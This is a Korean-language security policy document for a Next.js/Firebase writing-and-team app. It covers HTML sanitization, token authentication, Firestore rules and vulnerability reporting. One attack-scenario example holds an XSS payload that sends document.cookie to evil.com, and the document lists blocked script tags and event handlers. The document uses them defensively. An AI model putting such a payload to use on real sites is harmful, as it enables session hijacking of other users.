304 lines
9.1 KiB
Markdown
304 lines
9.1 KiB
Markdown
# Security Policy
|
|
|
|
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
|
|
|
|
---
|
|
|
|
## 🔒 보안 조치 요약
|
|
|
|
| 보안 영역 | 조치 | 상태 | 적용일 |
|
|
|----------|------|------|--------|
|
|
| **XSS 방지** | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
|
|
| **인증** | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
|
|
| **API 인증** | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
|
|
| **SQL Injection** | Firestore (NoSQL) | ✅ 원천 방지 | - |
|
|
| **CSRF** | SameSite Cookies | 🚧 검토 필요 | - |
|
|
| **Rate Limiting** | API 요청 제한 | ⏳ 예정 | - |
|
|
|
|
---
|
|
|
|
## 1. XSS (Cross-Site Scripting) 방지
|
|
|
|
### 문제점
|
|
- 사용자가 작성한 글 (`writings` 컬렉션)의 `content` 필드는 **HTML 문자열**로 저장됩니다.
|
|
- Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 **API를 직접 호출**하여 악성 스크립트를 주입할 수 있습니다.
|
|
|
|
**공격 시나리오**:
|
|
```typescript
|
|
// 악의적인 API 호출
|
|
POST /api/writing
|
|
{
|
|
"title": "정상 제목",
|
|
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
|
|
}
|
|
```
|
|
|
|
### 해결책: HTML Sanitization
|
|
|
|
**백엔드 자동 세탁** (`src/lib/server/writing.ts`):
|
|
```typescript
|
|
import { sanitizeHtml } from "@/utils/sanitizeHtml";
|
|
|
|
// 글 생성 시 자동 세탁 (Line 46-47)
|
|
const sanitizedTitle = sanitizeHtml(data.title);
|
|
const sanitizedContent = sanitizeHtml(data.content);
|
|
|
|
// 글 수정 시 자동 세탁 (Line 199-203)
|
|
if (data.title) {
|
|
updateData.title = sanitizeHtml(data.title);
|
|
}
|
|
if (data.content) {
|
|
updateData.content = sanitizeHtml(data.content);
|
|
}
|
|
```
|
|
|
|
**세탁 규칙** (`src/utils/sanitizeHtml.ts`):
|
|
- ✅ **허용된 태그**: `<p>`, `<strong>`, `<em>`, `<h1-6>`, `<ul>`, `<ol>`, `<li>`, `<a>`, `<img>`, `<blockquote>`, `<code>`, 등 (Tiptap 기본)
|
|
- ❌ **차단된 태그**: `<script>`, `<iframe>`, `<object>`, `<embed>`, `<style>`, `<link>`, `<meta>`, 등
|
|
- ❌ **차단된 속성**: `onerror`, `onclick`, `onmouseover`, 모든 `on*` 이벤트 핸들러
|
|
- ❌ **차단된 프로토콜**: `javascript:`, 위험한 `data:` URI
|
|
|
|
**라이브러리**: `sanitize-html` (서버 사이드 전용, Next.js와 호환성 우수)
|
|
|
|
**테스트 커버리지**: 26개 유닛 테스트 (`src/utils/__tests__/sanitizeHtml.test.ts`)
|
|
- ✅ 안전한 HTML 보존 테스트 (7개)
|
|
- ✅ XSS 공격 벡터 차단 테스트 (10개)
|
|
- ✅ Edge case 처리 (4개)
|
|
- ✅ 실제 Tiptap HTML 호환성 (2개)
|
|
- ✅ 배치 처리 및 객체 세탁 (3개)
|
|
|
|
**성능 영향**:
|
|
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
|
|
- 글 저장 시 한 번만 실행 (조회 시 불필요)
|
|
|
|
---
|
|
|
|
## 2. 인증 (Authentication)
|
|
|
|
### Firebase Authentication
|
|
- **제공자**: Email/Password, Google OAuth
|
|
- **정식 계정**: Google 계정 연동, 이메일/비밀번호
|
|
|
|
### API 인증
|
|
모든 API 요청은 Firebase ID Token 검증:
|
|
```typescript
|
|
// src/lib/auth.ts
|
|
export async function requireAuth(authHeader: string | null) {
|
|
if (!authHeader?.startsWith("Bearer ")) {
|
|
throw new Error("인증 토큰이 없습니다.");
|
|
}
|
|
|
|
const idToken = authHeader.substring(7);
|
|
const decodedToken = await adminAuth.verifyIdToken(idToken);
|
|
return decodedToken;
|
|
}
|
|
```
|
|
|
|
**적용 위치**: 모든 `POST`, `PUT`, `DELETE` API 엔드포인트
|
|
|
|
---
|
|
|
|
## 3. 권한 관리 (Authorization)
|
|
|
|
### 글 소유권 검증
|
|
- 사용자는 **본인의 글만** 조회/수정/삭제 가능
|
|
- 백엔드에서 `userId` 검증:
|
|
|
|
```typescript
|
|
// src/lib/server/writing.ts
|
|
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
|
|
const writing = await getWriting(writingId);
|
|
return writing !== null && writing.userId === userId;
|
|
}
|
|
```
|
|
|
|
### 팀 권한
|
|
- **소유자(Owner)**: 팀 설정 변경, 멤버 관리, 삭제
|
|
- **멤버**: 팀 조회, 주제 작성, 탈퇴
|
|
|
|
---
|
|
|
|
## 4. SQL Injection 방지
|
|
|
|
**Firestore 사용으로 원천 차단**:
|
|
- NoSQL 데이터베이스 사용
|
|
- 쿼리는 타입 안전한 SDK로만 실행
|
|
- Raw SQL 쿼리 불가능
|
|
|
|
---
|
|
|
|
## 5. 데이터 보호
|
|
|
|
### 민감 정보 처리
|
|
- **이메일**: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
|
|
- **비밀번호**: Firebase Auth가 암호화 관리
|
|
- **API 키**: 환경 변수로 관리 (`.env` 파일, `.gitignore` 적용)
|
|
|
|
### Firestore 보안 규칙
|
|
```javascript
|
|
// firestore.rules (예정)
|
|
rules_version = '2';
|
|
service cloud.firestore {
|
|
match /databases/{database}/documents {
|
|
// 사용자는 본인 문서만 읽기/쓰기
|
|
match /users/{userId} {
|
|
allow read, write: if request.auth != null && request.auth.uid == userId;
|
|
}
|
|
|
|
// 글은 소유자만 수정/삭제
|
|
match /writings/{writingId} {
|
|
allow read: if request.auth != null;
|
|
allow create: if request.auth != null;
|
|
allow update, delete: if request.auth.uid == resource.data.userId;
|
|
}
|
|
|
|
// 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
|
|
match /comments/{commentId} {
|
|
allow read: if request.auth != null;
|
|
allow create: if request.auth != null;
|
|
allow update: if request.auth.uid == resource.data.userId;
|
|
allow delete: if request.auth.uid == resource.data.userId ||
|
|
(resource.data.writingUserId == request.auth.uid) ||
|
|
(resource.data.teamOwnerId == request.auth.uid);
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
---
|
|
|
|
## 6. HTTPS 강제
|
|
|
|
**Production 환경**:
|
|
- ✅ Vercel 배포 시 자동 HTTPS 적용
|
|
- ✅ HTTP → HTTPS 자동 리다이렉트
|
|
- ✅ HSTS 헤더 설정
|
|
|
|
---
|
|
|
|
## 7. 환경 변수 보호
|
|
|
|
**민감 정보 관리**:
|
|
```bash
|
|
# .env.local (로컬 개발)
|
|
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
|
|
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
|
|
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
|
|
```
|
|
|
|
**보안 체크리스트**:
|
|
- ✅ `.env` 파일은 `.gitignore`에 포함
|
|
- ✅ `NEXT_PUBLIC_*`은 클라이언트 노출 가능 (Firebase API Key)
|
|
- ✅ 서버 전용 변수는 `NEXT_PUBLIC_` 접두어 없이 사용
|
|
- ✅ Production 환경 변수는 Vercel에서 관리
|
|
|
|
---
|
|
|
|
## 8. Rate Limiting (예정)
|
|
|
|
**계획 중인 조치**:
|
|
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
|
|
- DDoS 방지
|
|
- Vercel Edge Functions + Upstash Redis 고려
|
|
|
|
---
|
|
|
|
## 9. 보안 취약점 발견 시
|
|
|
|
### 보고 절차
|
|
1. **즉시 보고**: GitHub Issues에 **비공개** 이슈 생성 (Security Advisories 사용)
|
|
2. **제목 형식**: `[SECURITY] 취약점 요약`
|
|
3. **포함 정보**:
|
|
- 취약점 설명
|
|
- 재현 방법 (PoC)
|
|
- 영향 범위
|
|
- 제안 해결책
|
|
|
|
### 보안 업데이트 절차
|
|
1. 취약점 확인 및 우선순위 설정
|
|
2. 패치 개발 및 테스트
|
|
3. 긴급 배포 (Critical 취약점)
|
|
4. 공개 공지 (패치 후)
|
|
|
|
---
|
|
|
|
## 10. 보안 체크리스트 (개발자용)
|
|
|
|
**새 기능 개발 시 확인 사항**:
|
|
- [ ] 사용자 입력 검증 (클라이언트 + 서버)
|
|
- [ ] HTML/SQL Injection 방지
|
|
- [ ] 인증/권한 확인
|
|
- [ ] 민감 정보 로깅 금지
|
|
- [ ] HTTPS 사용
|
|
- [ ] 환경 변수 적절히 관리
|
|
- [ ] 에러 메시지에 민감 정보 노출 금지
|
|
- [ ] 보안 테스트 작성
|
|
|
|
**의존성 관리**:
|
|
```bash
|
|
# 정기적으로 취약점 검사
|
|
npm audit
|
|
npm audit fix
|
|
|
|
# 의존성 업데이트
|
|
npm update
|
|
```
|
|
|
|
---
|
|
|
|
## 11. 참고 자료
|
|
|
|
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
|
|
- [Firebase Security Rules](https://firebase.google.com/docs/rules)
|
|
- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
|
|
- [Next.js Security](https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy)
|
|
|
|
---
|
|
|
|
## 13. 초대 링크 기반 팀 참가 시스템
|
|
|
|
라온누리는 Discord 스타일의 초대 링크 시스템으로 팀 참가를 관리합니다. 모든 사용자는 정식 계정(로그인)이 필수입니다.
|
|
|
|
### 핵심 원칙
|
|
|
|
- **모든 사용자**: 정식 계정 로그인 필수 (Google/이메일)
|
|
- **팀 참가**: 초대 링크를 통해서만 가능
|
|
- **닫힌 팀**: 초대 링크를 생성하지 않으면 자연스럽게 닫힌 팀
|
|
- **접근 제한**: 특정 사용자에게만 초대 링크를 공유하여 제한
|
|
|
|
### 초대 링크 워크플로우
|
|
|
|
1. 팀 소유자가 초대 링크 생성 (만료 시간, 최대 사용 횟수 설정 가능)
|
|
2. 초대 링크를 대상 사용자에게 공유
|
|
3. 사용자가 링크를 클릭하여 로그인 후 팀에 참가
|
|
|
|
**참조**: `DATA_MODELS.md`, `API_SPEC.md`
|
|
|
|
---
|
|
|
|
## 14. 데이터 모델 보안
|
|
|
|
### User 타입 최소화
|
|
|
|
- **FirestoreUser** (DB): uid, createdAt, lastLoginAt, settings만 저장
|
|
- **User** (UI): Firebase Auth + Firestore 자동 결합
|
|
- 이름, 이메일, 사진은 Firebase Auth가 Single Source of Truth
|
|
- **보안 이점**: 민감 정보 중복 저장 방지, 데이터 일관성 보장
|
|
|
|
### 닉네임 저장 위치
|
|
|
|
- ❌ `users.nicknames[teamId]` (기존) - 중복 저장
|
|
- ✅ `team.members[uid].nickname` (신규) - 단일 진실 공급원
|
|
- **보안 이점**: 팀 탈퇴 시 자동 삭제, 권한 관리 용이
|
|
|
|
### memberUids 제거
|
|
|
|
- ❌ `team.memberUids` 배열 (중복, 동기화 이슈)
|
|
- ✅ `Object.keys(team.members)` 사용
|
|
- 멤버 확인: `uid in team.members`
|
|
- **보안 이점**: 데이터 불일치 방지, atomic 업데이트
|
|
|
|
---
|
|
|
|
© 2024 BlueNovaLab. All rights reserved.
|